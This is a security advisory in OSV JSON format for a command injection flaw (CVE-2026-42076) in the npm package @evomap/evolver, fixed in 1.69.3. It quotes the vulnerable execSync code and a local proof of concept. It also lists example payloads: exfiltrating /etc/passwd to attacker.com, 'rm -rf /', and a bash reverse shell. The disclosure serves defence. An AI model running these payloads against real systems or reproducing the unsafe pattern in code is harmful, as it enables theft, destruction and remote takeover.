CVE-2026-42076: Evolver Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j5w5-568x-rq53",
  "modified" : "2026-05-04T19:54:34Z",
  "published" : "2026-04-22T22:06:03Z",
  "aliases" : [ "CVE-2026-42076" ],
  "summary" : "Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution",
  "details" : "### Summary\nA command injection vulnerability in the `_extractLLM()` function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to `execSync()` without proper sanitization, enabling remote code execution when the `corpus` parameter contains shell metacharacters.\n\n### Details\nThe vulnerability exists in `src/gep/signals.js` at lines 260-274:\n\n```javascript\n// src/gep/signals.js:260-274\nfunction _extractLLM(corpus, nodeSecret, hubUrl) {\n  // ...\n  var url = getHubUrl(hubUrl) + '/gep/extract';\n  var postData = JSON.stringify({ corpus_summary: summary });\n  \n  // VULNERABLE: String concatenation into shell command\n  var curlCmd = 'curl -s -m 10 -X POST'\n    + ' -H \"Content-Type: application/json\"'\n    + ' -H \"Authorization: Bearer ' + nodeSecret + '\"'\n    + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n    + ' ' + JSON.stringify(url);\n\n  // VULNERABLE: Executes shell command\n  stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' });\n  // ...\n}\n```\n\nThe `corpus` parameter is derived from user input (via `userSnippet` in `extractSignals()` function) and flows through to `_extractLLM()` where it becomes part of the shell command. While `JSON.stringify()` escapes some characters, it does not prevent shell command substitution via `$(...)` syntax when the resulting string is passed to `execSync()`.\n\nThe `extractSignals()` function is called from the main evolution loop in `src/gep/evolver.js`, which processes user snippets and session transcripts.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file that simulates the vulnerable code path:\n\n```javascript\n// test-command-injection.js\nconst { execSync } = require('child_process');\n\n// Simulate the vulnerable _extractLLM function\nfunction vulnerableExtractLLM(corpus) {\n  const postData = JSON.stringify({ corpus_summary: corpus });\n  const curlCmd = 'curl -s -m 10 -X POST'\n    + ' -H \"Content-Type: application/json\"'\n    + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n    + ' http://localhost/test';\n  \n  console.log('Command that would be executed:');\n  console.log(curlCmd);\n  console.log('\\n--- Testing command substitution ---');\n  \n  // Demonstrate that command substitution works\n  const testCmd = 'echo ' + JSON.stringify('$(id)');\n  console.log('\\nTest with echo:');\n  console.log(execSync(testCmd, { encoding: 'utf8' }));\n}\n\n// Payload with command injection\nconst maliciousCorpus = '$(touch /tmp/pwned)';\nvulnerableExtractLLM(maliciousCorpus);\n```\n\n2. Run the test:\n```bash\nnode test-command-injection.js\n```\n\n**Expected result:** The command substitution `$(id)` is executed by the shell, demonstrating that the same technique could be used with `curl` to execute arbitrary commands.\n\n**Actual exploit scenario:**\nIf an attacker can control the `userSnippet` parameter that flows into `extractSignals()` (e.g., via compromised log files or malicious user input), they can inject shell commands like:\n- `$(curl attacker.com/exfil?data=$(cat /etc/passwd))`\n- `$(rm -rf /)`\n- `$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)`\n\n### Impact\nThis is a **Remote Code Execution (RCE)** vulnerability. An attacker who can control input to the `extractSignals()` function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to:\n- Full system compromise\n- Data exfiltration\n- Installation of malware/backdoors\n- Lateral movement within the network\n\n**Affected users:** Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@evomap/evolver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.69.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/EvoMap/evolver/security/advisories/GHSA-j5w5-568x-rq53"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42076"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/EvoMap/evolver"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/EvoMap/evolver/releases/tag/v1.69.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T22:06:03Z",
    "nvd_published_at" : "2026-05-04T17:16:24Z"
  }
}